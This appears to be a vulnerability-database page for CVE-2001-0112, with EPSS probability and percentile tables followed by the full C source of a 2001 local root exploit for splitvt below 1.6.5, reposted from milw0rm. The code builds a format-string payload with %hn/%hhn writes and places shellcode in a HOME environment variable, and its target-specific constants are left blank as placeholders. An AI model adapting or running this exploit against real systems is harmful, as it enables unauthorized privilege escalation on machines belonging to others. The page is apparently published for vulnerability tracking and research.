CVE-2001-0112 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.42%
2025-03-30	–	–	–	–	0.37%
2025-04-15	–	–	–	–	0.37%
2025-04-15	–	–	–	–	0.37,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	6%
2025-03-30	56%
2025-04-15	58%
2025-04-15	58%

/* * MasterSecuritY <www.mastersecurity.fr> * * spitvt.c - Local exploit for splitvt < 1.6.5 * Copyright (C) 2001 fish stiqz <fish@analog.org> * Copyright (C) 2001 Michel "MaXX" Kaempf <maxx@mastersecurity.fr> * * Updated versions of this exploit and the corresponding advisory will * be made available at: * * ftp://maxx.via.ecp.fr/spitvt/ * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or (at * your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ #include <limits.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* array_of_strings_t */ typedef struct array_of_strings_s { size_t strings; char ** array; } array_of_strings_t; /* type_t */ typedef enum { short_int, signed_char, null } type_t; /* n_t */ typedef struct n_s { type_t type; void * pointer; int number; } n_t; /* <fixme> */ #define COMMAND "" #define HOME_VALUE "" #define SPLITVT "" #define STACK () n_t n[] = { { null } }; /* </fixme> */ unsigned long int eat; array_of_strings_t aos_envp = { 0, NULL }; array_of_strings_t aos_argv = { 0, NULL }; /* array_of_strings() */ int array_of_strings( array_of_strings_t * p_aos, char * string ) { size_t strings; char ** array; if ( p_aos->strings == SIZE_MAX / sizeof(char *) ) { return( -1 ); } strings = p_aos->strings + 1; array = realloc( p_aos->array, strings * sizeof(char *) ); if ( array == NULL ) { return( -1 ); } (p_aos->array = array)[ p_aos->strings++ ] = string; return( 0 ); } #define HOME_KEY "HOME" /* home() */ int home() { char * home; unsigned int envp_home; unsigned int i; home = malloc( sizeof(HOME_KEY) + sizeof(HOME_VALUE) + (4-1) ); if ( home == NULL ) { return( -1 ); } strcpy( home, HOME_KEY"="HOME_VALUE ); /* if HOME_VALUE holds a shellcode and is to be executed, 4 bytes * alignment is sometimes required (on sparc architectures for * example) */ envp_home = STACK - sizeof(SPLITVT) - sizeof(HOME_VALUE); for ( i = 0; i < envp_home % 4; i++ ) { strcat( home, "X" ); } return( array_of_strings(&aos_envp, home) ); } /* shell() */ int shell() { size_t size; unsigned int i; char * shell; char * string; size = 0; for ( i = 0; n[i].type != null; i++ ) { size += sizeof(void *); } shell = malloc( size + 3 + 1 ); if ( shell == NULL ) { return( -1 ); } for ( i = 0; n[i].type != null; i++ ) { *( (void **)shell + i ) = n[i].pointer; } /* since file is 16 bytes aligned on the stack, the following 3 * characters padding ensures shell is 4 bytes aligned */ for ( i = 0; i < 3; i++ ) { shell[ size + i ] = 'X'; } shell[ size + i ] = '\0'; for ( string = shell; string <= shell+size+i; string += strlen(string)+1 ) { if ( array_of_strings(&aos_argv, string) ) { return( -1 ); } } return( 0 ); } #define S "%s" #define C "%c" #define HN "%hn" #define HHN "%hhn" /* file() */ int file() { size_t size; unsigned int i, j; char * file; int number; unsigned int argv_file; size = (sizeof(S)-1) + (eat * (sizeof(C)-1)); for ( i = 0; n[i].type != null; i++ ) { switch ( n[i].type ) { case short_int: /* at most USHRT_MAX 'X's are needed */ size += USHRT_MAX + (sizeof(HN)-1); break; case signed_char: /* at most UCHAR_MAX 'X's are needed */ size += UCHAR_MAX + (sizeof(HHN)-1); break; case null: default: return( -1 ); } } file = malloc( size + (16-1) + 1 ); if ( file == NULL ) { return( -1 ); } i = 0; memcpy( file + i, S, sizeof(S)-1 ); i += sizeof(S)-1; for ( j = 0; j < eat; j++ ) { memcpy( file + i, C, sizeof(C)-1 ); i += sizeof(C)-1; } /* initialize number to the number of characters written so far * (aos_envp.array[aos_envp.strings-2] corresponds to the HOME * environment variable) */ number = strlen(aos_envp.array[aos_envp.strings-2])-sizeof(HOME_KEY) + eat; for ( j = 0; n[j].type != null; j++ ) { switch ( n[j].type ) { case short_int: while ( (short int)number != (short int)n[j].number ) { file[ i++ ] = 'X'; number += 1; } memcpy( file + i, HN, sizeof(HN)-1 ); i += sizeof(HN)-1; break; case signed_char: while ( (signed char)number != (signed char)n[j].number ) { file[ i++ ] = 'X'; number += 1; } memcpy( file + i, HHN, sizeof(HHN)-1 ); i += sizeof(HHN)-1; break; case null: default: return( -1 ); } } /* in order to maintain a constant distance between the sprintf() * arguments and the splitvt shell argument, 16 bytes alignment is * sometimes required (for ELF binaries for example) */ argv_file = STACK - sizeof(SPLITVT); for ( j = 0; aos_envp.array[j] != NULL; j++ ) { argv_file -= strlen( aos_envp.array[j] ) + 1; } argv_file -= i + 1; for ( j = 0; j < argv_file % 16; j++ ) { file[ i++ ] = 'X'; } file[ i ] = '\0'; return( array_of_strings(&aos_argv, file) ); } /* main() */ int main( int argc, char * argv[] ) { /* eat */ if ( argc != 2 ) { return( -1 ); } eat = strtoul( argv[1], NULL, 0 ); /* aos_envp */ array_of_strings( &aos_envp, "TERM=vt100" ); /* home() should always be called right before NULL is added to * aos_envp */ if ( home() ) { return( -1 ); } array_of_strings( &aos_envp, NULL ); /* aos_argv */ array_of_strings( &aos_argv, SPLITVT ); array_of_strings( &aos_argv, "-upper" ); array_of_strings( &aos_argv, COMMAND ); array_of_strings( &aos_argv, "-lower" ); array_of_strings( &aos_argv, COMMAND ); /* shell() should always be called right before "-rcfile" is added * to aos_argv */ if ( shell() ) { return( -1 ); } array_of_strings( &aos_argv, "-rcfile" ); /* file() should always be called right after "-rcfile" is added to * aos_argv and right before NULL is added to aos_argv */ if ( file() ) { return( -1 ); } array_of_strings( &aos_argv, NULL ); /* execve() */ execve( aos_argv.array[0], aos_argv.array, aos_envp.array ); return( -1 ); } // milw0rm.com [2001-01-26]